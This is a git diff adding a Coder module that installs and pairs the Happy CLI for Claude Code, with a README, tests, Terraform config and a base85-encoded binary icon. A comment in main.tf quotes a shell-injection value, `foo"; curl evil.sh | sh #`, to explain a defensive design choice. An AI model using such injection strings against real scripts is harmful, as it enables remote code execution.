zumu@8-?L<-nF&bc4x<|qg{yxASR%U6Db+Y&_X}cDJCT+$458XoC}&fJIEkz?h7vgx z8z+wgX@3$x0Ah+>EhSmWWzH93*pyI{r)flhNAQ;o$4ujSJeS%f@-YcP;tGlwC9 zLjb|2oIkl|em>{2mN$-OS~9JuWT;x_kR0HrF`JVSRY|-yOEV&x-FykwvHvIu=fG zMkCON0iGmH?&9nc-+%utzWeT5?DjkH(~?9FhtOxsl;V^+CW(%Y8ZKpJy>wo!Y?u{` zmTEL!iL=jyI_=x6rPe}~2`Sc6gm$6XW+6oxbwR`O_s5%ahrb^ac<0;_P^G5U?nE%M zeQXB*EySkN5mj$ND~WXkjQ;23Lb){K025FOn9??9^^5H0LKggnbWbPDC^H? zj*gv;4=cJ=6P?Ehs0lR+0g9qQ2+pJwhHl$dl5?HIVzI#W)fM*pJ+|AuRxlCMQS73Y z$zimO)U$LX<#ULoYFa57h{;L*JPJvIB$1Sez{xBtd2e1-XCV&L#9O;&Eft&p&pWGE zhqU=>&z?zr6MvNvaTFRMtl+6ky7cw9WMH2=HKw|j!t_#diS`dxYZEyKRE`kfce`o;RGWU>TKRLh zHcs8^V@$KP|NK;+YoGK(ec_V6DqUpG%&`0``M@b?O*zW=M%{;aFa|^(jhTJMaZI_A z7HmKy71g`0!)mp{ZnsM)Bj@Mm_|v!FV%zO81}oRa2;+zlMz}^Rj$6I~AKqLz$P|Vs zX(yGml5NY=>o@~xuFOSty~g__`2t9$Oq2BFKKb}+H1lLxzss>rQg@l>So;AVw;7lZ zpUv)HE(Y7^6Dg|d>)iG2_lNp1Xa7I;8vp^9{|j#B|8H!MArKFpZ)0jwd0x*p2O~fp zG*Bv3ZEK)h8>I>L*qqIMeyG(xpzH&7aIQhq2y~uvIl`Bj3#265tHMNtkxbJC=1hXe z`YNAuRAa7xYv%K*`PP~U;c|cGfUesmz=%AKmTFeuP=hAdVzU|*-+v5~DWCH(zyCS+ z+C%Hb+GAWT$CzjRN_ZSynv;%=Kb1_goQE=y>=<1&_4kNp`Kea$e_Ko!?w;ON3H zC97kM@%VY=EvHe8wXk#Sx$QasEw^Lq$bLI1Jp+)?`e};O^qQ0+XoYZFr61EYr^3@? zs-Kin`^Pr9p8639l7s2R2pL^K7^QH6Bd@AdHW@H8Vqh>GGD{*lsTI^sQml9~1|>>T z{oIrEoj72-*`Vup#a@GGlL*B+&Z#oV|69!$7w_vm@ZsZ{+hh0O$F@1fR=z)WpSgb4 zYwDrBKgY20`CR{SaBZic8TDAt_2KAuC&p2pCr;L86Jx}FzfUE)Y{527tBYewxS1J? zg_3Xm~mHK(9h6!JV3;rYP+myNkHuNK#_=gKCjOeBn`T0c)+|Cly(OuCGf1)zSP zkv66Tq+Boc?;on&{99Q76MCvgE}g_?Ay;b z_6jVb?`2ODI9OS;5pBDKVbt1d7-L$);=jjay;xdU+1GkK+1Ln;$$J~@;GKumLnM{7 z9pLnOP6DmMFkrXaV!ggAYV;Q4MEXnyGl-H-#Z*;;Cd~Awn=v0cu73Y>wNu*V$6V{N z-#=uXN#D;1>GGPt%jWwjoMdTjDW5CGC~m+RW?VnMo!b}`RH|v|e4&BKB5W64qsc_G zJU>5I4xejLj^hY49*tXoNh_K2h(*&LXc6L%l7GozJHs@~2cH{+xn`TqoWDGVBvsm` z8iqk6b`J?_FCw7`M;HU98ZdfQDP!)L^?)Oz@^7QnYvR~%b4}(izd5F5nx&>JS?4u679r>6ngCUr zXUl#Z6HFibob#V8dbk8n5GE)-!3NAh@mdK|H-M96sA;CxGy%M1o(JQW=s--@vb{~k zb&e5eW~q6(Uazs)Y|sxKEMhv}#7$6qGQ+fEj$i*F>q`ABbMs^8*9yVU%{U*s|Buf9 zL{~V}R!=cWQ=E=jJSNXtSp`dmIkyLo@rpx?=Hp{y`_A4w=Q6`Irng)ziiIjt>teA& z-}fm!!zyTa?=dJ8Pl@7@q8A;(fXB^mk)$>j^MTDE+hZ#L{%!hxyQ+IVH{2&pENvYlLUbFiqoqjI=1{oId{8W;(@K zk7<_w|Ip?n*~c_VFM&jIrt63XU$13(g(BQctL>D28>?_L$1KzQec*H1eeAq!*-$ej zYp@wWrK2O2wj(ic1T>D& z_yx+PqycR?Dij2V2B6a9JALRm23UUQeUm=db@@snlgenRBY# zk7ZIH+U6LT&CA?zAA9d(=S_&@%vi)3;pRi7?0?Ix798r|9wKZcJ3ecKJRLUyKFCmy zlXE>l$b~ryjN7r>&EVYKZ zbJ*|qST2`%_UswX&(E>h2;|&yxkT(bgkb=jRsF_D#vjI z7bSF@%LR9t8H>e2QbH)EXtp_tp;o)?qxVhnTYB$PUKq2~yldMQUQ3ZNGdu{5ZzRhu zM%ffxnqTw1>c}i+Mkuwtnf}$+Xh;}-2x?06hKwS=FBS_eizX0xSS~>f4Ba04p%+cv zXOlC>Y2R|a%{ci!kKZA4n=aIcrO7#s;Ml@DIRE6Y)1a%lMJ~)Fq<)mR!N4@#sBX3P zV&|9Z@1X#cV+6IlM}7ZvtRAn%b;LL#rK+&yQTBSgpSTr7ST*Rq?6&a4>uh(n+nXWfRv)yhrk20fhj~?G>rsEDd?zJo5cfw z;q+AoicZ!Jo*VF5`eHs#lx7z|Ir&irl?u%|^_6qf-El(r*s=L(ZBD~{%z|Y;9ya~w zZvVfoS^lNkF(E|$fW|j4pacMk2s&55)l~#95iB4DMFVtdF%DtC7!|f4PgMV*-wl=r6%J1tow|+jhHJi;wuwUb$ zgdNTAFk|wt4vLQgg4|Ipq=>wc<-PefaKI>!snnBPD9Wa*JOD*f>x_C|Ucdg`wB4rh z>a#2)pvXDBMz}J70>EJE`uwxC`nh8M(JBE0$Ib)1q{l1RiEgKR2*|*H3@6}k?^UbyYJs4Mg&wpo}KfN8Ar^+=z7-LM4 zr_|aE=&-5jQPB+zkU)YQw;52u z&1)+UK08T$)B5;Yi~jfa^R-z;sQUhx;&e [!IMPORTANT] +> Install and authenticate [Claude Code](https://claude.com/product/claude-code) in the workspace image before using Happy (`claude auth login`) — Happy wraps the `claude` CLI, it doesn't replace it. The workspace image must also have **tmux** installed (see [Notes](#notes)). + +## How pairing works + +Happy has no non-interactive pairing mode — the CLI always renders an interactive prompt (choose mobile or web) and, for the mobile flow, a QR code plus a `happy://terminal?...` deep link in the terminal. There's also no way to ask an already-paired machine for a fresh QR without a full re-pair (`happy auth login --force`), which unpairs every previously-linked device. + +So this module embraces that: **every time you open the Happy app tile, it mints a brand new pairing link.** Concretely, on each request the module's pairing page: + +1. Kills whatever Happy session was running before. +2. Runs `happy auth login --force` (clears any existing pairing) followed by `happy claude`, inside a `tmux` session so Happy gets the real terminal it needs. +3. Drives the interactive prompt itself (auto-selects "Mobile App"). +4. Captures the resulting `happy://terminal?...` link and renders it as an actual scannable QR code, plus the link as plain text you can copy — right there on the page, no redirect needed. + +Once you scan it (or open the link on your phone), `happy claude` launches for real and keeps running in that `tmux` session — reopening the app tile again later mints a fresh link and disconnects that device, so only do it when you actually want to (re-)pair. + +Because of that "every click re-pairs" behavior, keep `share` at its default (`"owner"`) unless you specifically want other people to be able to pair a device to your agent — anyone who can open this app can take it over. + +## Examples + +### Run Claude Code in a specific project directory + +```tf +module "happy" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/happy/coder" + version = "1.0.0" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" +} +``` + +### Pin the installed version + +```tf +module "happy" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/happy/coder" + version = "1.0.0" + agent_id = coder_agent.main.id + install_version = "1.2.0" +} +``` + +### Use a package manager other than npm + +```tf +module "happy" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/happy/coder" + version = "1.0.0" + agent_id = coder_agent.main.id + package_manager = "bun" +} +``` + +### Skip installation and use a pre-baked image + +```tf +module "happy" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/gojnimer6553/happy/coder" + version = "1.0.0" + agent_id = coder_agent.main.id + install = false + install_prefix = "/opt/happy" +} +``` + +## Notes + +- **Requires `tmux`** in the workspace image. Happy's pairing prompt and the wrapped `claude` session both need a real terminal (Ink UI, raw-mode stdin) — there's no headless/non-interactive path, so this module drives it through a real pseudo-terminal via `tmux`. Unlike Node, tmux has no portable static-binary fallback this module can bootstrap automatically; add it to your Dockerfile/image (e.g. `apt-get install -y tmux`). +- Pairing requires outbound network access to Happy's hosted service (`api.cluster-fluster.com` / `app.happy.engineering` by default) — there's no offline pairing path. +- Happy has no `engines` requirement pinned in its `package.json`; its docs recommend Node.js >= 20. If `node` is not already on `PATH`, the install script bootstraps a pinned Node.js runtime under `$HOME/.local/share/coder-happy/` automatically; override the version with `node_version` if needed. diff --git a/registry/gojnimer6553/modules/happy/main.test.ts b/registry/gojnimer6553/modules/happy/main.test.ts new file mode 100644 index 000000000..864f02050 --- /dev/null +++ b/registry/gojnimer6553/modules/happy/main.test.ts @@ -0,0 +1,385 @@ +import { describe, expect, it, setDefaultTimeout } from "bun:test"; +import { + execContainer, + readFileContainer, + removeContainer, + runContainer, + runTerraformApply, + runTerraformInit, + testRequiredVariables, + writeCoder, + writeFileContainer, + type TerraformState, +} from "~test"; + +// coder-utils orchestrates this module's scripts and produces multiple +// coder_script resources (install, start). Collect them by their +// coder-utils-generated display_name so each can be executed in run order. +interface ModuleScripts { + install: string; + start: string; +} + +const collectScripts = (state: TerraformState): ModuleScripts => { + const byDisplayName: Record = {}; + for (const resource of state.resources) { + if (resource.type !== "coder_script") continue; + for (const instance of resource.instances) { + const attrs = instance.attributes as Record; + const displayName = attrs.display_name as string | undefined; + const script = attrs.script as string | undefined; + if (displayName && script) { + byDisplayName[displayName] = script; + } + } + } + const install = byDisplayName["Happy: Install Script"]; + const start = byDisplayName["Happy: Start Script"]; + if (!install) { + throw new Error("install script not found in terraform state"); + } + if (!start) { + throw new Error("start script not found in terraform state"); + } + return { install, start }; +}; + +const HAPPY_BIN_PATH = + "/root/.coder-modules/gojnimer6553/happy/npm/node_modules/.bin/happy"; + +const installFakeHappyBinary = async (id: string, script: string) => { + await execContainer(id, [ + "mkdir", + "-p", + "/root/.coder-modules/gojnimer6553/happy/npm/node_modules/.bin", + ]); + await writeFileContainer(id, HAPPY_BIN_PATH, script); + await execContainer(id, ["chmod", "755", HAPPY_BIN_PATH]); +}; + +// Issues one HTTP GET from inside the container (no curl dependency: the +// test image only guarantees node) and reports status/body. +const httpGetInContainer = async ( + id: string, + port: number, + path: string, + timeoutMs = 30000, +): Promise<{ status: number; body: string }> => { + const script = [ + 'const http = require("http");', + `const req = http.get({ host: "127.0.0.1", port: ${port}, path: ${JSON.stringify(path)}, timeout: ${timeoutMs} }, (res) => {`, + ' let body = "";', + ' res.on("data", (c) => (body += c));', + ' res.on("end", () => {', + ' console.log("STATUS:" + res.statusCode);', + ' console.log("BODY_START");', + " console.log(body);", + " process.exit(0);", + " });", + "});", + 'req.on("timeout", () => { console.log("STATUS:0"); process.exit(0); });', + 'req.on("error", (e) => { console.log("ERROR:" + e.message); process.exit(0); });', + ].join("\n"); + const output = await execContainer(id, ["node", "-e", script]); + const status = Number(/STATUS:(\d+)/.exec(output.stdout)?.[1] ?? "0"); + const bodyIdx = output.stdout.indexOf("BODY_START\n"); + const body = + bodyIdx === -1 ? "" : output.stdout.slice(bodyIdx + "BODY_START\n".length); + return { status, body }; +}; + +const waitForHealthy = async ( + id: string, + port: number, + timeoutMs = 30000, +): Promise => { + const deadline = Date.now() + timeoutMs; + while (Date.now() < deadline) { + const { status, body } = await httpGetInContainer( + id, + port, + "/healthz", + 3000, + ); + if (status === 200 && body.trim() === "ok") return; + await new Promise((resolve) => setTimeout(resolve, 500)); + } + throw new Error(`Timed out waiting for port ${port}'s /healthz to report ok`); +}; + +// Fake happy binary: mimics the real CLI's interactive auth prompt closely +// enough to exercise this module's tmux-automation (send "1", capture a +// happy://terminal?... link) without a real npm install or network call. +// Each invocation embeds a unique token so tests can prove a fresh link is +// minted on every open. +const FAKE_HAPPY_BINARY = [ + "#!/bin/bash", + 'if [ "$1" = "auth" ]; then', + ' echo "How would you like to authenticate?"', + ' echo ""', + ' echo "\xe2\x80\xba 1. Mobile App"', + ' echo " 2. Web Browser"', + " read -r -n1 choice", + ' echo ""', + ' if [ "$choice" = "1" ]; then', + ' echo "Mobile Authentication"', + ' token="FAKE_$$_$(date +%s%N)"', + ' echo "happy://terminal?$token"', + ' echo "Waiting for authentication.."', + " sleep 3600", + " else", + " exit 1", + " fi", + 'elif [ "$1" = "claude" ]; then', + ' echo "claude-started"', + " sleep 3600", + "fi", +].join("\n"); + +// Mimics the prompt, accepts the "1" keypress, then crashes instead of +// producing a pairing link. Since the wrapped shell command is +// "happy_bin auth login --force && happy_bin claude", a non-zero exit here +// short-circuits the "&&" and the tmux session's pane process (and with it, +// by default, the session itself) exits shortly after -- exercising the +// "session died before producing a link" failure path distinctly from a +// plain prompt-format-mismatch timeout. +const FAKE_HAPPY_BINARY_CRASHES_AFTER_PROMPT = [ + "#!/bin/bash", + 'if [ "$1" = "auth" ]; then', + ' echo "How would you like to authenticate?"', + ' echo ""', + ' echo "\xe2\x80\xba 1. Mobile App"', + ' echo " 2. Web Browser"', + " read -r -n1 choice", + ' echo ""', + ' echo "boom: simulated crash"', + " exit 1", + "fi", +].join("\n"); + +setDefaultTimeout(240 * 1000); + +describe("happy", async () => { + await runTerraformInit(import.meta.dir); + + testRequiredVariables(import.meta.dir, { + agent_id: "foo", + }); + + it("skips installation when install=false", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("alpine/curl"); + try { + await writeCoder(id, "#!/bin/sh\nexit 0\n"); + await execContainer(id, ["sh", "-c", "apk add --no-cache bash tmux"]); + + const output = await execContainer(id, ["bash", "-c", install]); + expect(output.exitCode).toBe(0); + expect(output.stdout).toContain( + "⏭️ install=false; skipping Happy installation.", + ); + + // The start script should fail fast: no happy binary was ever installed. + const startOutput = await execContainer(id, ["bash", "-c", start]); + expect(startOutput.exitCode).not.toBe(0); + expect(startOutput.stderr + startOutput.stdout).toContain( + "happy binary not found", + ); + } finally { + await removeContainer(id); + } + }); + + it("fails install with a clear error when tmux is missing", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + }); + const { install } = collectScripts(state); + + const id = await runContainer("alpine/curl"); + try { + await writeCoder(id, "#!/bin/sh\nexit 0\n"); + // Deliberately no tmux here. + await execContainer(id, ["sh", "-c", "apk add --no-cache bash"]); + + const output = await execContainer(id, ["bash", "-c", install]); + expect(output.exitCode).not.toBe(0); + expect(output.stdout).toContain("tmux is required"); + } finally { + await removeContainer(id); + } + }); + + it("mints a fresh pairing link on every open and leaves /healthz side-effect-free", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + port: 4120, + tmux_session: "happy-test-1", + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, [ + "bash", + "-c", + "apt-get update && apt-get install -y --no-install-recommends tmux", + ]); + await execContainer(id, ["bash", "-c", install]); + await installFakeHappyBinary(id, FAKE_HAPPY_BINARY); + // install=false skips the real "happy" install (we use the fake + // binary above), but the pairing server still needs "qrcode" -- the + // real install script would normally install it alongside happy. + await execContainer(id, [ + "bash", + "-c", + "cd /root/.coder-modules/gojnimer6553/happy/npm && npm install --no-audit --no-fund qrcode@1.5.4", + ]); + + const output = await execContainer(id, ["bash", "-c", start]); + expect(output.exitCode).toBe(0); + + await waitForHealthy(id, 4120); + + // /healthz must never trigger the pairing cycle: hit it several times + // and confirm no tmux session gets created as a side effect. + for (let i = 0; i < 5; i++) { + await httpGetInContainer(id, 4120, "/healthz"); + } + const sessionsBeforeOpen = await execContainer(id, [ + "bash", + "-c", + "tmux list-sessions 2>&1 || true", + ]); + expect(sessionsBeforeOpen.stdout).not.toContain("happy-test-1"); + + const first = await httpGetInContainer(id, 4120, "/", 30000); + expect(first.status).toBe(200); + const firstMatch = /happy:\/\/terminal\?[A-Za-z0-9_]+/.exec(first.body); + expect(firstMatch).not.toBeNull(); + expect(first.body).toContain("data:image/png;base64,"); + + const second = await httpGetInContainer(id, 4120, "/", 30000); + expect(second.status).toBe(200); + const secondMatch = /happy:\/\/terminal\?[A-Za-z0-9_]+/.exec(second.body); + if (!secondMatch) { + console.log("SECOND BODY:\n" + second.body); + const pairingLog = await readFileContainer( + id, + "/root/.coder-modules/gojnimer6553/happy/logs/pairing.log", + ).catch((e) => "(failed to read pairing.log: " + e + ")"); + console.log("PAIRING LOG:\n" + pairingLog); + } + expect(secondMatch).not.toBeNull(); + + // A different link each time -- proves the second open genuinely + // killed the previous session and drove a brand new pairing cycle, + // not just re-served a cached result. + expect(secondMatch![0]).not.toBe(firstMatch![0]); + } finally { + await removeContainer(id); + } + }, 60000); + + it("surfaces a clear error quickly when happy's tmux session dies before pairing completes", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + port: 4122, + tmux_session: "happy-test-3", + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, [ + "bash", + "-c", + "apt-get update && apt-get install -y --no-install-recommends tmux", + ]); + await execContainer(id, ["bash", "-c", install]); + await installFakeHappyBinary(id, FAKE_HAPPY_BINARY_CRASHES_AFTER_PROMPT); + await execContainer(id, [ + "bash", + "-c", + "cd /root/.coder-modules/gojnimer6553/happy/npm && npm install --no-audit --no-fund qrcode@1.5.4", + ]); + + const output = await execContainer(id, ["bash", "-c", start]); + expect(output.exitCode).toBe(0); + + await waitForHealthy(id, 4122); + + const started = Date.now(); + const page = await httpGetInContainer(id, 4122, "/", 30000); + const elapsedMs = Date.now() - started; + + expect(page.status).toBe(200); + expect(page.body).toContain("exited before it finished pairing"); + // The fake binary crashes almost immediately after the "1" keypress -- + // this should fail fast via the has-session check, not wait out the + // full 20s pairing-url timeout. + expect(elapsedMs).toBeLessThan(15000); + } finally { + await removeContainer(id); + } + }, 60000); + + it("installs Happy via npm and serves a real pairing QR/link", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + port: 4121, + tmux_session: "happy-test-2", + }); + const { install, start } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + await execContainer(id, [ + "bash", + "-c", + "apt-get update && apt-get install -y --no-install-recommends tmux", + ]); + + const installOutput = await execContainer(id, ["bash", "-c", install]); + if (installOutput.exitCode !== 0) { + console.log("STDOUT:\n" + installOutput.stdout); + console.log("STDERR:\n" + installOutput.stderr); + } + expect(installOutput.exitCode).toBe(0); + expect(installOutput.stdout).toContain("🥳 Happy has been installed to"); + + const startOutput = await execContainer(id, ["bash", "-c", start]); + expect(startOutput.exitCode).toBe(0); + expect(startOutput.stdout).toContain("Happy pairing server started"); + + await waitForHealthy(id, 4121); + + // Real network call to Happy's hosted auth API happens here (there is + // no offline pairing path) -- we only need the resulting link/QR, not + // an actual phone to complete pairing, so this doesn't block on that. + const page = await httpGetInContainer(id, 4121, "/", 45000); + if (page.status !== 200) { + const log = await readFileContainer( + id, + "/root/.coder-modules/gojnimer6553/happy/logs/pairing.log", + ).catch(() => "(no pairing log)"); + console.log("PAIRING LOG:\n" + log); + } + expect(page.status).toBe(200); + expect(page.body).toMatch(/happy:\/\/terminal\?[A-Za-z0-9_-]+/); + expect(page.body).toContain("data:image/png;base64,"); + } finally { + await removeContainer(id); + } + }, 240000); +}); diff --git a/registry/gojnimer6553/modules/happy/main.tf b/registry/gojnimer6553/modules/happy/main.tf new file mode 100644 index 000000000..b7a6d046a --- /dev/null +++ b/registry/gojnimer6553/modules/happy/main.tf @@ -0,0 +1,244 @@ +terraform { + required_version = ">= 1.9" + + required_providers { + coder = { + source = "coder/coder" + version = ">= 2.13" + } + } +} + +variable "agent_id" { + description = "The ID of a Coder agent." + type = string +} + +variable "icon" { + description = "The icon to use for the app." + type = string + # Not "/icon/happy.svg": that path is served from Coder's own built-in + # icon bundle (independent of this repo's .icons/ directory, which is only + # used to render the registry website), and happy isn't in it -- pointing + # there renders a broken image on the coder_app tile. Pinned to this fork + # branch for now so it resolves immediately; switch to + # "https://raw.githubusercontent.com/coder/registry/main/.icons/happy.svg" + # once this module is merged upstream. + default = "https://raw.githubusercontent.com/gojnimer6553/registry/add-happy-module/.icons/happy.svg" +} + +variable "slug" { + description = "The slug of the coder_app resource." + type = string + default = "happy" +} + +variable "display_name" { + description = "The display name for the Happy application and its install/start scripts." + type = string + default = "Happy" +} + +variable "port" { + description = "The port to run the Happy pairing page on." + type = number + default = 4020 +} + +variable "workdir" { + description = "The directory `happy claude` runs in. Defaults to $HOME. The directory is created if it doesn't exist." + type = string + default = null +} + +variable "tmux_session" { + description = "Name of the tmux session Happy runs in. Change this only if it collides with another session name in the workspace." + type = string + default = "happy" +} + +variable "install" { + description = "Whether to install Happy. Set to false to run a pre-installed copy instead (see install_prefix)." + type = bool + default = true +} + +variable "install_version" { + description = "The npm version or dist-tag of the `happy` package to install." + type = string + default = "latest" +} + +variable "use_cached" { + description = "Skip installing when a copy already exists at install_prefix, instead of always reinstalling on start." + type = bool + default = false +} + +variable "package_manager" { + description = "Package manager used to install Happy. One of 'npm', 'pnpm', or 'bun'; must already be available on the agent." + type = string + default = "npm" + + validation { + condition = contains(["npm", "pnpm", "bun"], var.package_manager) + error_message = "The 'package_manager' variable must be one of: 'npm', 'pnpm', 'bun'." + } +} + +variable "registry_url" { + description = "The npm-compatible registry URL to install Happy from. Override this for private registries or mirrors." + type = string + default = "https://registry.npmjs.org" +} + +variable "node_version" { + description = "Node.js version to bootstrap into this module's data directory when no `node` is found on PATH. Only used as a fallback; ignored if node is already installed." + type = string + default = "22.14.0" +} + +variable "install_prefix" { + description = "Directory Happy is installed into (as a local npm/pnpm/bun package). Defaults to a path under this module's standard data directory so installs persist across workspace restarts." + type = string + default = null +} + +variable "share" { + description = "Determines visibility of the app. Must be one of 'owner', 'authenticated', or 'public'. Keep this at 'owner' unless you understand the consequences: whoever can open this app can pair a device and remotely control your coding agent." + type = string + default = "owner" + + validation { + condition = contains(["owner", "authenticated", "public"], var.share) + error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'." + } +} + +variable "subdomain" { + description = <<-EOT + Determines whether the app will be accessed via its own subdomain or whether it will be accessed via a path on Coder. + If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible. + EOT + type = bool + default = true +} + +variable "open_in" { + description = <<-EOT + Determines where the app will be opened. Valid values are `"tab"` and `"slim-window"` (default). + `"tab"` opens in a new tab in the same browser window. + `"slim-window"` opens a new browser window without navigation controls. + EOT + type = string + default = "slim-window" + + validation { + condition = contains(["tab", "slim-window"], var.open_in) + error_message = "The 'open_in' variable must be one of: 'tab', 'slim-window'." + } +} + +variable "order" { + description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)." + type = number + default = null +} + +variable "group" { + description = "The name of a group that this app belongs to." + type = string + default = null +} + +variable "pre_install_script" { + description = "Custom script to run before installing Happy. Can be used for dependency ordering between modules (e.g., waiting for git-clone to complete before Happy starts)." + type = string + default = null +} + +variable "post_install_script" { + description = "Custom script to run after installing Happy, before it starts." + type = string + default = null +} + +locals { + module_dir_name = ".coder-modules/gojnimer6553/happy" + module_directory = "$HOME/${local.module_dir_name}" + + # Kept as *overrides only* (empty string means "no override"), rather than + # pre-resolving the "$HOME"-based default here as a Terraform string: the + # scripts below need the literal "$HOME" in ARG_INSTALL_PREFIX/ARG_WORKDIR + # to expand at shell runtime, which requires embedding them in a + # double-quoted assignment -- but these values can also be arbitrary + # caller-supplied strings (install_prefix, workdir), and a double-quoted + # assignment lets a value like `foo"; curl evil.sh | sh #` break out and + # execute. Passing only the raw override (never attacker-influenced beyond + # being a path the caller chose) and letting the script build the "$HOME" + # default itself from a real, un-interpolated shell variable avoids that + # entirely. + install_prefix_override = var.install_prefix != null ? var.install_prefix : "" + workdir_override = var.workdir != null ? var.workdir : "" + + install_script = templatefile("${path.module}/scripts/install.sh.tftpl", { + ARG_INSTALL = tostring(var.install) + ARG_USE_CACHED = tostring(var.use_cached) + ARG_VERSION = var.install_version + ARG_PACKAGE_MANAGER = var.package_manager + ARG_REGISTRY_URL = trimsuffix(var.registry_url, "/") + ARG_NODE_VERSION = var.node_version + ARG_MODULE_DIR_NAME = local.module_dir_name + ARG_INSTALL_PREFIX_OVERRIDE = local.install_prefix_override + }) + + start_script = templatefile("${path.module}/scripts/start.sh.tftpl", { + ARG_PORT = tostring(var.port) + ARG_MODULE_DIRECTORY = local.module_directory + ARG_MODULE_DIR_NAME = local.module_dir_name + ARG_INSTALL_PREFIX_OVERRIDE = local.install_prefix_override + ARG_WORKDIR_OVERRIDE = local.workdir_override + ARG_TMUX_SESSION = var.tmux_session + }) +} + +module "coder_utils" { + source = "registry.coder.com/coder/coder-utils/coder" + version = "0.0.1" + + agent_id = var.agent_id + module_directory = local.module_directory + display_name_prefix = var.display_name + icon = var.icon + pre_install_script = var.pre_install_script + post_install_script = var.post_install_script + install_script = local.install_script + start_script = local.start_script +} + +resource "coder_app" "happy" { + agent_id = var.agent_id + slug = var.slug + display_name = var.display_name + url = "http://localhost:${var.port}" + icon = var.icon + subdomain = var.subdomain + share = var.share + order = var.order + group = var.group + open_in = var.open_in + + healthcheck { + url = "http://localhost:${var.port}/healthz" + interval = 5 + threshold = 6 + } +} + +# Pass-through of coder-utils script outputs so upstream modules can serialize +# their own coder_script resources behind this module's install pipeline +# using `coder exp sync want `. +output "scripts" { + description = "Ordered list of coder exp sync names for the coder_script resources this module actually creates, in run order (pre_install, install, post_install, start). Scripts that were not configured are absent from the list." + value = module.coder_utils.scripts +} diff --git a/registry/gojnimer6553/modules/happy/main.tftest.hcl b/registry/gojnimer6553/modules/happy/main.tftest.hcl new file mode 100644 index 000000000..d8f064348 --- /dev/null +++ b/registry/gojnimer6553/modules/happy/main.tftest.hcl @@ -0,0 +1,314 @@ +run "defaults_are_correct" { + command = plan + + variables { + agent_id = "test-agent" + } + + assert { + condition = var.port == 4020 + error_message = "Default port should be 4020" + } + + assert { + condition = var.install == true + error_message = "Happy installation should be enabled by default" + } + + assert { + condition = var.install_version == "latest" + error_message = "Default install_version should be 'latest'" + } + + assert { + condition = var.package_manager == "npm" + error_message = "Default package_manager should be 'npm'" + } + + assert { + condition = var.use_cached == false + error_message = "use_cached should be disabled by default" + } + + assert { + condition = var.share == "owner" + error_message = "Default share should be 'owner'" + } + + assert { + condition = var.subdomain == true + error_message = "subdomain should be enabled by default" + } + + assert { + condition = var.tmux_session == "happy" + error_message = "Default tmux_session should be 'happy'" + } + + assert { + condition = local.module_dir_name == ".coder-modules/gojnimer6553/happy" + error_message = "Module dir name should be '.coder-modules/gojnimer6553/happy'" + } + + assert { + condition = local.install_prefix_override == "" + error_message = "install_prefix_override should be empty by default (the script computes the $HOME-based default itself)" + } + + assert { + condition = local.workdir_override == "" + error_message = "workdir_override should be empty by default (the script defaults to $HOME itself)" + } + + assert { + condition = resource.coder_app.happy.url == "http://localhost:4020" + error_message = "App URL should point at localhost on the configured port" + } + + assert { + condition = resource.coder_app.happy.slug == "happy" + error_message = "Default slug should be 'happy'" + } + + assert { + condition = resource.coder_app.happy.share == "owner" + error_message = "Default share should be 'owner'" + } +} + +run "custom_port_configuration" { + command = apply + + variables { + agent_id = "test-agent" + port = 4021 + } + + assert { + condition = resource.coder_app.happy.url == "http://localhost:4021" + error_message = "App URL should use the configured port" + } + + assert { + condition = [for h in resource.coder_app.happy.healthcheck : h.url][0] == "http://localhost:4021/healthz" + error_message = "Healthcheck URL should use the configured port" + } +} + +run "custom_workdir_configuration" { + command = plan + + variables { + agent_id = "test-agent" + workdir = "/home/coder/project" + } + + assert { + condition = local.workdir_override == "/home/coder/project" + error_message = "Custom workdir should be forwarded as the override" + } +} + +run "custom_install_prefix_overrides_default" { + command = plan + + variables { + agent_id = "test-agent" + install_prefix = "/opt/happy" + } + + assert { + condition = local.install_prefix_override == "/opt/happy" + error_message = "Explicit install_prefix should be forwarded as the override" + } +} + +run "install_version_configuration" { + command = plan + + variables { + agent_id = "test-agent" + install_version = "1.2.0" + } + + assert { + condition = var.install_version == "1.2.0" + error_message = "install_version should be set correctly" + } +} + +run "invalid_package_manager_rejected" { + command = plan + + variables { + agent_id = "test-agent" + package_manager = "yarn" + } + + expect_failures = [ + var.package_manager, + ] +} + +run "invalid_share_rejected" { + command = plan + + variables { + agent_id = "test-agent" + share = "invalid" + } + + expect_failures = [ + var.share, + ] +} + +run "invalid_open_in_rejected" { + command = plan + + variables { + agent_id = "test-agent" + open_in = "invalid" + } + + expect_failures = [ + var.open_in, + ] +} + +run "custom_share_configuration" { + command = plan + + variables { + agent_id = "test-agent" + share = "public" + } + + assert { + condition = resource.coder_app.happy.share == "public" + error_message = "Custom share should override the default 'owner'" + } +} + +run "subdomain_disabled_configuration" { + command = plan + + variables { + agent_id = "test-agent" + subdomain = false + } + + assert { + condition = resource.coder_app.happy.subdomain == false + error_message = "subdomain should be disabled when specified" + } +} + +run "custom_display_and_slug" { + command = plan + + variables { + agent_id = "test-agent" + slug = "happy-cli" + display_name = "Happy" + icon = "/custom/icon.svg" + order = 5 + group = "AI Tools" + } + + assert { + condition = resource.coder_app.happy.slug == "happy-cli" + error_message = "Custom slug should be set" + } + + assert { + condition = resource.coder_app.happy.display_name == "Happy" + error_message = "Custom display_name should be set" + } + + assert { + condition = resource.coder_app.happy.icon == 